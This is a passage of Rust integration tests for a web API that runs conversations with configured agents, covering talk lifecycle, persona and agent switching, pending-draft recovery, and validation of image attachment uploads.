9224 let (_tmp, _repo, f) = talk_fixture().await;
9225
9226 let opened = f.post("/api/talks", None).await;
9229 assert_eq!(opened.status, 201, "{}", opened.body);
9230 let body = opened.json();
9231 assert_eq!(body["status"], "open");
9232 assert_eq!(
9233 body["turns"].as_array().unwrap().len(),
9234 0,
9235 "opening takes no agent turn: there is nothing yet to answer"
9236 );
9237
9238 let also_opened = f.post("/api/talks", Some("{}")).await;
9240 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9241
9242 let listed = f.get("/api/talks").await.json();
9243 assert_eq!(listed.as_array().unwrap().len(), 2);
9244 }
9245
9246 #[tokio::test]
9247 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9248 let tmp = TempDir::new().expect("tempdir");
9249 let repo = tmp.path().join("repo");
9250 std::fs::create_dir_all(&repo).expect("repo dir");
9251 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9252 std::fs::write(
9253 repo.join("magi.toml"),
9254 format!("{MOCK_AGENT_TOML}\n{second}"),
9255 )
9256 .expect("write magi.toml");
9257 let home = TempDir::new().expect("temp home");
9258 let talks = Talks::at(home.path().join("talks"));
9259 let ui = Arc::new(
9260 Ui::new(
9261 Queue::at(home.path().join("queue")),
9262 Questions::at(home.path().join("questions")),
9263 talks.clone(),
9264 home.path().join("runs"),
9265 home.path().to_path_buf(),
9266 repo.clone(),
9267 )
9268 .with_worktrees_root(home.path().join("wt")),
9269 );
9270 let cfg = config_for(&repo).await.expect("discover config");
9271 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9272 let id = talk.id.clone();
9273 let call = |agent: &str| {
9274 talk_agent(
9275 State(Arc::clone(&ui)),
9276 Path(id.clone()),
9277 Json(TalkAgent {
9278 agent: agent.to_owned(),
9279 }),
9280 )
9281 };
9282
9283 let unknown = call("nobody").await.expect_err("unknown agent");
9284 assert_eq!(
9285 unknown.status,
9286 StatusCode::BAD_REQUEST,
9287 "{}",
9288 unknown.message
9289 );
9290
9291 {
9292 let mut claimed = None;
9295 for _ in 0..200 {
9296 claimed = ui.begin_talk_turn(&id).expect("claim");
9297 if claimed.is_some() {
9298 break;
9299 }
9300 tokio::time::sleep(Duration::from_millis(10)).await;
9301 }
9302 let _busy = claimed.expect("free");
9303 let busy = call("second").await.expect_err("busy talk");
9304 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9305 }
9306 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9307
9308 let Json(view) = call("second").await.expect("switch");
9309 assert_eq!(view.talk.agent, "second");
9310 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9311 let saved = talks.get(&id).expect("reload");
9312 assert_eq!(saved.agent, "second");
9313 assert_eq!(saved.turns.len(), 1);
9314
9315 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9316 .await
9317 .expect("detail");
9318 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9319 assert_eq!(roster, ["mock", "second"]);
9320
9321 let mut closed = talks.get(&id).expect("reload");
9322 talk::close(&mut closed, &talks).expect("close");
9323 let refused = call("mock").await.expect_err("closed talk");
9324 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9325 }
9326
9327 #[tokio::test]
9328 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9329 let tmp = TempDir::new().expect("tempdir");
9330 let repo = tmp.path().join("repo");
9331 std::fs::create_dir_all(&repo).expect("repo dir");
9332 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9333 let home = TempDir::new().expect("temp home");
9334 let talks = Talks::at(home.path().join("talks"));
9335 let ui = Arc::new(
9336 Ui::new(
9337 Queue::at(home.path().join("queue")),
9338 Questions::at(home.path().join("questions")),
9339 talks.clone(),
9340 home.path().join("runs"),
9341 home.path().to_path_buf(),
9342 repo.clone(),
9343 )
9344 .with_worktrees_root(home.path().join("wt")),
9345 );
9346 let cfg = config_for(&repo).await.expect("discover config");
9347 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9348 let id = talk.id.clone();
9349 let call = |n: u8| {
9350 talk_implementers(
9351 State(Arc::clone(&ui)),
9352 Path(id.clone()),
9353 Json(TalkImplementers { implementers: n }),
9354 )
9355 };
9356
9357 for bad in [0u8, 4] {
9358 let e = call(bad).await.expect_err("out of range");
9359 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9360 }
9361 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9362
9363 {
9364 let mut claimed = None;
9365 for _ in 0..200 {
9366 claimed = ui.begin_talk_turn(&id).expect("claim");
9367 if claimed.is_some() {
9368 break;
9369 }
9370 tokio::time::sleep(Duration::from_millis(10)).await;
9371 }
9372 let _busy = claimed.expect("free");
9373 let busy = call(2).await.expect_err("busy talk");
9374 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9375 }
9376
9377 let Json(view) = call(3).await.expect("switch");
9378 assert_eq!(view.talk.implementers, 3);
9379 assert!(talks.get(&id).expect("reload").implementers_dirty);
9380
9381 let mut closed = talks.get(&id).expect("reload");
9382 talk::close(&mut closed, &talks).expect("close");
9383 let e = call(2).await.expect_err("closed talk");
9384 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9385 }
9386
9387 #[tokio::test]
9388 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9389 let tmp = TempDir::new().expect("tempdir");
9390 let repo = tmp.path().join("repo");
9391 std::fs::create_dir_all(&repo).expect("repo dir");
9392 std::fs::write(
9393 repo.join("magi.toml"),
9394 format!(
9395 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9396 ),
9397 )
9398 .expect("write magi.toml");
9399 let home = TempDir::new().expect("temp home");
9400 let talks = Talks::at(home.path().join("talks"));
9401 let ui = Arc::new(
9402 Ui::new(
9403 Queue::at(home.path().join("queue")),
9404 Questions::at(home.path().join("questions")),
9405 talks.clone(),
9406 home.path().join("runs"),
9407 home.path().to_path_buf(),
9408 repo.clone(),
9409 )
9410 .with_worktrees_root(home.path().join("wt")),
9411 );
9412 let cfg = config_for(&repo).await.expect("discover config");
9413 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9414 let id = talk.id.clone();
9415 let call = |persona: &str| {
9416 talk_persona(
9417 State(Arc::clone(&ui)),
9418 Path(id.clone()),
9419 Json(TalkPersona {
9420 persona: persona.to_owned(),
9421 }),
9422 )
9423 };
9424
9425 let unknown = call("nobody").await.expect_err("unknown persona");
9426 assert_eq!(
9427 unknown.status,
9428 StatusCode::BAD_REQUEST,
9429 "{}",
9430 unknown.message
9431 );
9432
9433 {
9434 let mut claimed = None;
9435 for _ in 0..200 {
9436 claimed = ui.begin_talk_turn(&id).expect("claim");
9437 if claimed.is_some() {
9438 break;
9439 }
9440 tokio::time::sleep(Duration::from_millis(10)).await;
9441 }
9442 let _busy = claimed.expect("free");
9443 let busy = call("rei").await.expect_err("busy talk");
9444 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9445 }
9446 assert_eq!(talks.get(&id).expect("reload").persona, "");
9447
9448 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9449 assert_eq!(view.talk.persona, "gendo");
9450 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9451
9452 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9453 .await
9454 .expect("detail");
9455 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9456 assert_eq!(ids.first(), Some(&"default"));
9457 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9458
9459 let Json(view) = call("default").await.expect("back to default");
9460 assert_eq!(view.talk.persona, "");
9461
9462 let mut closed = talks.get(&id).expect("reload");
9463 talk::close(&mut closed, &talks).expect("close");
9464 let refused = call("rei").await.expect_err("closed talk");
9465 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9466 }
9467
9468 #[tokio::test]
9469 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9470 let f = Fixture::start().await;
9471 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9472 let queue = f.queue();
9473 let mut mine = Task::new(
9474 "rename the loader".to_owned(),
9475 "rename the loader".to_owned(),
9476 PathBuf::from("/repo/magi"),
9477 Source::Agent {
9478 run: talk_id.clone(),
9479 node: "chat".to_owned(),
9480 },
9481 );
9482 queue.put(&mut mine).expect("file the task");
9483 let mut theirs = Task::new(
9484 "unrelated".to_owned(),
9485 "unrelated".to_owned(),
9486 PathBuf::from("/repo/magi"),
9487 Source::Human,
9488 );
9489 queue.put(&mut theirs).expect("file the task");
9490
9491 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9492 assert_eq!(res.status, 200, "{}", res.body);
9493 let body = res.json();
9494 assert_eq!(
9495 body["status"], "open",
9496 "filing a task does not close a talk"
9497 );
9498 let tasks = body["tasks"].as_array().expect("tasks array");
9499 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9500 assert_eq!(tasks[0]["id"], mine.id);
9501 }
9502
9503 #[tokio::test]
9504 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9505 let (_tmp, _repo, f) = talk_fixture().await;
9506 let id = f.post("/api/talks", None).await.json()["id"]
9507 .as_str()
9508 .expect("id")
9509 .to_owned();
9510
9511 let res = f
9512 .post(
9513 &format!("/api/talks/{id}/say"),
9514 Some(r#"{"text":"what does the queue module do?"}"#),
9515 )
9516 .await;
9517 assert_eq!(res.status, 202, "{}", res.body);
9518 let queued = res.json();
9519 let turns = queued["turns"].as_array().expect("turns array");
9520 assert_eq!(
9521 turns.len(),
9522 1,
9523 "the answer reflects only what is on disk the instant it is sent, \
9524 before the agent's turn - which can run for the whole of \
9525 `[graph] timeout_talk` - has a chance to land: {queued}"
9526 );
9527 assert_eq!(turns[0]["who"], "operator");
9528 assert_eq!(turns[0]["body"], "what does the queue module do?");
9529 assert_eq!(
9530 queued["thinking"], true,
9531 "the accepted response exposes the background turn claim: {queued}"
9532 );
9533
9534 let mut turns_after = 1;
9535 for _ in 0..SETTLE_STEPS {
9536 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9537 turns_after = detail["turns"].as_array().expect("turns array").len();
9538 if turns_after == 2 {
9539 break;
9540 }
9541 tokio::time::sleep(Duration::from_millis(10)).await;
9542 }
9543 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9544 }
9545
9546 #[tokio::test]
9573 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9574 let tmp = TempDir::new().expect("tempdir");
9575 let repo = tmp.path().join("repo");
9576 std::fs::create_dir_all(&repo).expect("repo dir");
9577 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9578 let home = TempDir::new().expect("temp home");
9579 let talks = Talks::at(home.path().join("talks"));
9580 let ui = Arc::new(
9581 Ui::new(
9582 Queue::at(home.path().join("queue")),
9583 Questions::at(home.path().join("questions")),
9584 talks.clone(),
9585 home.path().join("runs"),
9586 home.path().to_path_buf(),
9587 repo.clone(),
9588 )
9589 .with_worktrees_root(home.path().join("wt")),
9590 );
9591 let cfg = config_for(&repo).await.expect("discover config");
9592
9593 for delay in 0..40u32 {
9594 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9595 let id = talk.id.clone();
9596
9597 let handler = tokio::spawn(talk_say(
9598 State(Arc::clone(&ui)),
9599 Path(id.clone()),
9600 Ok(Json(NewTalkTurn {
9601 text: "what does the queue module do?".to_owned(),
9602 attachments: Vec::new(),
9603 })),
9604 ));
9605 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9606 handler.abort();
9607 let _ = handler.await;
9610
9611 let mut turns = 0;
9612 for _ in 0..SETTLE_STEPS {
9613 if let Ok(fresh) = talks.get(&id) {
9614 turns = fresh.turns.len();
9615 if turns != 1 {
9616 break;
9617 }
9618 }
9619 tokio::time::sleep(Duration::from_millis(10)).await;
9620 }
9621 assert_ne!(
9622 turns, 1,
9623 "delay {delay}: talk {id} recorded the operator's turn but \
9624 the agent never answered - the reply task was never \
9625 started after the handler future was dropped"
9626 );
9627 }
9628 }
9629
9630 #[tokio::test]
9675 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9676 let tmp = TempDir::new().expect("tempdir");
9677 let repo = tmp.path().join("repo");
9678 std::fs::create_dir_all(&repo).expect("repo dir");
9679 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9680 let home = TempDir::new().expect("temp home");
9681 let talks = Talks::at(home.path().join("talks"));
9682 let ui = Arc::new(
9683 Ui::new(
9684 Queue::at(home.path().join("queue")),
9685 Questions::at(home.path().join("questions")),
9686 talks.clone(),
9687 home.path().join("runs"),
9688 home.path().to_path_buf(),
9689 repo.clone(),
9690 )
9691 .with_worktrees_root(home.path().join("wt")),
9692 );
9693 let cfg = config_for(&repo).await.expect("discover config");
9694
9695 for attempt in 0..3u32 {
9696 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9697 let id = talk.id.clone();
9698 let turn_guard = ui
9701 .begin_talk_turn(&id)
9702 .expect("claim the turn")
9703 .expect("a fresh talk owes nobody a turn");
9704
9705 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9706 let (release_tx, release_rx) = std::sync::mpsc::channel();
9707 ui.set_busy_queue_gate(BusyQueueGate {
9708 reached: reached_tx,
9709 release: release_rx,
9710 });
9711
9712 let handler = tokio::spawn(talk_say(
9713 State(Arc::clone(&ui)),
9714 Path(id.clone()),
9715 Ok(Json(NewTalkTurn {
9716 text: "what does the queue module do?".to_owned(),
9717 attachments: Vec::new(),
9718 })),
9719 ));
9720
9721 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9726 .await
9727 .unwrap_or_else(|_| {
9728 panic!(
9729 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9730 )
9731 })
9732 .expect("the busy branch dropped the gate without using it");
9733
9734 let running = talks.get(&id).expect("reload talk");
9741 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9742
9743 handler.abort();
9747 let _ = handler.await;
9748
9749 let _ = release_tx.send(());
9755
9756 let mut fresh = talks.get(&id).expect("reload talk");
9759 for _ in 0..SETTLE_STEPS {
9760 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9761 break;
9762 }
9763 tokio::time::sleep(Duration::from_millis(10)).await;
9764 fresh = talks.get(&id).expect("reload talk");
9765 }
9766 assert!(
9767 fresh.pending.is_empty() && fresh.turns.len() == 2,
9768 "attempt {attempt}: talk {id} left the operator's text queued \
9769 with no drainer - the reclaimed turn was dropped along with \
9770 the handler future (pending {:?}, {} turns)",
9771 fresh.pending,
9772 fresh.turns.len()
9773 );
9774 }
9775 }
9776
9777 #[tokio::test]
9778 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9779 let (_tmp, _repo, f) = talk_fixture().await;
9780 let id = f.post("/api/talks", None).await.json()["id"]
9781 .as_str()
9782 .expect("id")
9783 .to_owned();
9784 let store = f.talks();
9785 let mut recovered = store.get(&id).expect("opened talk");
9786 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9787 .expect("persist pending draft without a live turn");
9788
9789 let edited = f
9790 .post(
9791 &format!("/api/talks/{id}/pending/edit"),
9792 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9793 )
9794 .await;
9795 assert_eq!(edited.status, 200, "{}", edited.body);
9796 assert!(edited.json()["thinking"].as_bool().unwrap());
9797
9798 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9799 for _ in 0..SETTLE_STEPS {
9800 if detail["turns"].as_array().expect("turns").len() == 2 {
9801 break;
9802 }
9803 tokio::time::sleep(Duration::from_millis(10)).await;
9804 detail = f.get(&format!("/api/talks/{id}")).await.json();
9805 }
9806 let turns = detail["turns"].as_array().expect("turns");
9807 assert_eq!(
9808 turns.len(),
9809 2,
9810 "the recovered draft must run once: {detail}"
9811 );
9812 assert_eq!(turns[0]["body"], "corrected");
9813 assert_eq!(detail["pending"], "");
9814 }
9815
9816 #[tokio::test]
9817 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9818 let tmp = TempDir::new().expect("tempdir");
9819 let repo = tmp.path().join("repo");
9820 std::fs::create_dir_all(&repo).expect("repo dir");
9821 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9822 let f = Fixture::with_repo(repo).await;
9823 let id = f.post("/api/talks", None).await.json()["id"]
9824 .as_str()
9825 .expect("id")
9826 .to_owned();
9827 let store = f.talks();
9828 let mut recovered = store.get(&id).expect("opened talk");
9829 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9830 .expect("persist pending draft without a live turn");
9831
9832 let refused = f
9833 .post(
9834 &format!("/api/talks/{id}/say"),
9835 Some(r#"{"text":"new message"}"#),
9836 )
9837 .await;
9838 assert_eq!(refused.status, 409, "{}", refused.body);
9839 assert!(refused.body.contains("resume"), "{}", refused.body);
9840 let saved = store.get(&id).expect("draft remains after refusal");
9841 assert!(saved.turns.is_empty());
9842 assert_eq!(saved.pending, "saved before restart");
9843
9844 let say_path = format!("/api/talks/{id}/say");
9845 let (first, second) = tokio::join!(
9846 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9847 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9848 );
9849 assert_eq!(first.status, 409, "{}", first.body);
9850 assert_eq!(second.status, 409, "{}", second.body);
9851 let saved = store
9852 .get(&id)
9853 .expect("draft remains after concurrent refusals");
9854 assert!(saved.turns.is_empty());
9855 assert_eq!(saved.pending, "saved before restart");
9856
9857 let resumed = f
9858 .post(&format!("/api/talks/{id}/pending/resume"), None)
9859 .await;
9860 assert_eq!(resumed.status, 202, "{}", resumed.body);
9861 let duplicate = f
9862 .post(&format!("/api/talks/{id}/pending/resume"), None)
9863 .await;
9864 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9865
9866 for _ in 0..SETTLE_STEPS {
9867 if store.get(&id).expect("talk").turns.len() == 2 {
9868 break;
9869 }
9870 tokio::time::sleep(Duration::from_millis(10)).await;
9871 }
9872 let finished = store.get(&id).expect("finished talk");
9873 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9874 assert_eq!(finished.turns[0].body, "saved before restart");
9875 assert!(finished.pending.is_empty());
9876 }
9877
9878 #[tokio::test]
9879 async fn an_image_only_recovered_draft_resumes_without_text() {
9880 let (_tmp, _repo, f) = talk_fixture().await;
9881 let id = f.post("/api/talks", None).await.json()["id"]
9882 .as_str()
9883 .expect("id")
9884 .to_owned();
9885 let uploaded = f
9886 .post_bytes(
9887 &format!("/api/talks/{id}/attachments"),
9888 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9889 PNG_BYTES,
9890 )
9891 .await;
9892 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9893 let attachment = f
9894 .talks()
9895 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9896 .expect("attachment metadata")
9897 .expect("stored attachment");
9898 let store = f.talks();
9899 let mut recovered = store.get(&id).expect("opened talk");
9900 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9901
9902 let resumed = f
9903 .post(&format!("/api/talks/{id}/pending/resume"), None)
9904 .await;
9905 assert_eq!(resumed.status, 202, "{}", resumed.body);
9906 for _ in 0..SETTLE_STEPS {
9907 if store.get(&id).expect("talk").turns.len() == 2 {
9908 break;
9909 }
9910 tokio::time::sleep(Duration::from_millis(10)).await;
9911 }
9912 let finished = store.get(&id).expect("finished talk");
9913 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9914 assert!(finished.turns[0].body.is_empty());
9915 assert_eq!(finished.turns[0].attachments.len(), 1);
9916 assert!(finished.pending_attachments.is_empty());
9917 }
9918
9919 #[tokio::test]
9920 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9921 let (_tmp, _repo, f) = talk_fixture().await;
9922 let id = f.post("/api/talks", None).await.json()["id"]
9923 .as_str()
9924 .expect("id")
9925 .to_owned();
9926 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9927 assert_eq!(closed.status, 200, "{}", closed.body);
9928 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9929 .expect("serialize closed talk");
9930 for (path, body) in [
9931 (format!("/api/talks/{id}/pending/resume"), None),
9932 (
9933 format!("/api/talks/{id}/pending/clear"),
9934 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9935 ),
9936 (
9937 format!("/api/talks/{id}/pending/edit"),
9938 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9939 ),
9940 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9941 ] {
9942 let response = f.post(&path, body).await;
9943 assert_eq!(response.status, 409, "{}", response.body);
9944 }
9945 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9946 .expect("serialize closed talk");
9947 assert_eq!(
9948 after_clear, before_clear,
9949 "clear must not rewrite a closed talk"
9950 );
9951 }
9952
9953 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9956
9957 #[tokio::test]
9958 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9959 let tmp = TempDir::new().expect("tempdir");
9960 let repo = tmp.path().join("repo");
9961 std::fs::create_dir_all(&repo).expect("repo dir");
9962 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9963 let f = Fixture::with_repo(repo).await;
9964 let id_a = f.post("/api/talks", None).await.json()["id"]
9965 .as_str()
9966 .unwrap()
9967 .to_owned();
9968 let id_b = f.post("/api/talks", None).await.json()["id"]
9969 .as_str()
9970 .unwrap()
9971 .to_owned();
9972
9973 let a = f
9974 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9975 .await;
9976 assert_eq!(a.status, 202, "{}", a.body);
9977 assert_eq!(a.json()["thinking"], true);
9978 let b = f
9979 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9980 .await;
9981 assert_eq!(b.status, 202, "{}", b.body);
9982 assert_eq!(b.json()["thinking"], true);
9983
9984 let listed = f.get("/api/talks").await.json();
9985 for id in [&id_a, &id_b] {
9986 let view = listed
9987 .as_array()
9988 .unwrap()
9989 .iter()
9990 .find(|talk| talk["id"] == *id)
9991 .unwrap();
9992 assert_eq!(view["thinking"], true, "{listed}");
9993 }
9994 let repeated = f
9995 .post(
9996 &format!("/api/talks/{id_a}/say"),
9997 Some(r#"{"text":"again"}"#),
9998 )
9999 .await;
10000 assert_eq!(repeated.status, 202, "{}", repeated.body);
10001 assert_eq!(repeated.json()["pending"], "again");
10002 }
10003
10004 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10007
10008 #[tokio::test]
10009 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10010 let f = Fixture::start().await;
10011 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10012
10013 let res = f
10014 .post_bytes(
10015 &format!("/api/talks/{id}/attachments"),
10016 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10017 PNG_BYTES,
10018 )
10019 .await;
10020 assert_eq!(res.status, 201, "{}", res.body);
10021 let body = res.json();
10022 assert_eq!(body["name"], "shot.png");
10023 assert_eq!(body["mime"], "image/png");
10024 assert_eq!(body["bytes"], PNG_BYTES.len());
10025 let att_id = body["id"].as_str().expect("id").to_owned();
10026 assert_eq!(
10027 att_id.len(),
10028 32,
10029 "the id must never be a client-suppliable path: {att_id}"
10030 );
10031
10032 let got = f
10033 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10034 .await;
10035 assert_eq!(got.status, 200, "{}", got.body);
10036 assert_eq!(got.header("content-type"), Some("image/png"));
10037 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10038 assert_eq!(got.bytes, PNG_BYTES);
10039 }
10040
10041 #[tokio::test]
10042 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10043 let f = Fixture::start().await;
10044 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10045
10046 let svg = f
10049 .post_bytes(
10050 &format!("/api/talks/{id}/attachments"),
10051 &[("Content-Type", "image/svg+xml")],
10052 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10053 )
10054 .await;
10055 assert!(
10056 (400..500).contains(&svg.status),
10057 "svg must be refused: {} {}",
10058 svg.status,
10059 svg.body
10060 );
10061 assert!(svg.body.contains("SVG"), "{}", svg.body);
10062
10063 let text = f
10064 .post_bytes(
10065 &format!("/api/talks/{id}/attachments"),
10066 &[("Content-Type", "text/plain")],
10067 b"just some text",
10068 )
10069 .await;
10070 assert!(
10071 (400..500).contains(&text.status),
10072 "an unlisted type must be refused: {} {}",
10073 text.status,
10074 text.body
10075 );
10076
10077 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10080 let big = f
10081 .post_bytes(
10082 &format!("/api/talks/{id}/attachments"),
10083 &[("Content-Type", "image/png")],
10084 &oversized,
10085 )
10086 .await;
10087 assert_eq!(
10088 big.status,
10089 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10090 "{}",
10091 big.body
10092 );
10093 }
10094
10095 #[tokio::test]
10096 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10097 let f = Fixture::start().await;
10098 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10099
10100 let res = f
10103 .post_bytes(
10104 &format!("/api/talks/{id}/attachments"),
10105 &[("Content-Type", "image/png")],
10106 b"<html>not a picture</html>",
10107 )
10108 .await;
10109 assert!((400..500).contains(&res.status), "{}", res.body);
10110 }
10111
10112 #[tokio::test]
10113 async fn an_unknown_attachment_id_is_a_404() {
10114 let f = Fixture::start().await;
10115 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10116
10117 let res = f
10118 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10119 .await;
10120 assert_eq!(res.status, 404, "{}", res.body);
10121 }
10122
10123 #[tokio::test]
10124 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10125 let f = Fixture::start().await;
10126 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10127
10128 let uploaded = f
10129 .post_bytes(
10130 &format!("/api/talks/{id}/attachments"),
10131 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10132 PNG_BYTES,
10133 )
10134 .await;
10135 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10136 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10137
10138 let res = f
10139 .post(
10140 &format!("/api/talks/{id}/say"),
10141 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10142 )
10143 .await;
10144 assert_eq!(res.status, 202, "{}", res.body);
10145 let queued = res.json();
10146 let turns = queued["turns"].as_array().expect("turns array");
10147 assert_eq!(
10148 turns.len(),
10149 1,
10150 "an empty body with an attachment is still a turn: {queued}"
10151 );
10152 assert_eq!(turns[0]["who"], "operator");
10153 assert_eq!(turns[0]["body"], "");
10154 let atts = turns[0]["attachments"]
10155 .as_array()
10156 .expect("attachments array");
10157 assert_eq!(atts.len(), 1);
10158 assert_eq!(atts[0]["id"], att_id);
10159 assert_eq!(atts[0]["mime"], "image/png");
10160
10161 let on_disk = f.talks().get(&id).expect("get");
10164 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10165 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10166 }
10167
10168 #[tokio::test]
10169 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10170 let f = Fixture::start().await;
10171 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10172
10173 let res = f
10174 .post(
10175 &format!("/api/talks/{id}/say"),
10176 Some(&format!(
10177 r#"{{"text":"hi","attachments":["{}"]}}"#,
10178 "a".repeat(32)
10179 )),
10180 )
10181 .await;
10182 assert!((400..500).contains(&res.status), "{}", res.body);
10183 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10184
10185 let on_disk = f.talks().get(&id).expect("get");
10186 assert!(
10187 on_disk.turns.is_empty(),
10188 "a rejected attachment id must not partially record the turn: {:?}",
10189 on_disk.turns
10190 );
10191 }
10192
10193 #[tokio::test]
10194 async fn talk_close_makes_the_talk_refuse_further_turns() {
10195 let f = Fixture::start().await;
10196 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10197
10198 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10199 assert_eq!(closed.status, 200, "{}", closed.body);
10200 assert_eq!(closed.json()["status"], "closed");
10201
10202 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10204 assert_eq!(closed_again.status, 200);
10205 assert_eq!(closed_again.json()["status"], "closed");
10206
10207 let said = f
10208 .post(
10209 &format!("/api/talks/{id}/say"),
10210 Some(r#"{"text":"too late"}"#),
10211 )
10212 .await;
10213 assert_eq!(said.status, 409, "{}", said.body);
10214 }
10215
10216 #[tokio::test]
10217 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10218 let (_tmp, _repo, f) = talk_fixture().await;
10219 let id = f.post("/api/talks", None).await.json()["id"]
10220 .as_str()
10221 .expect("id")
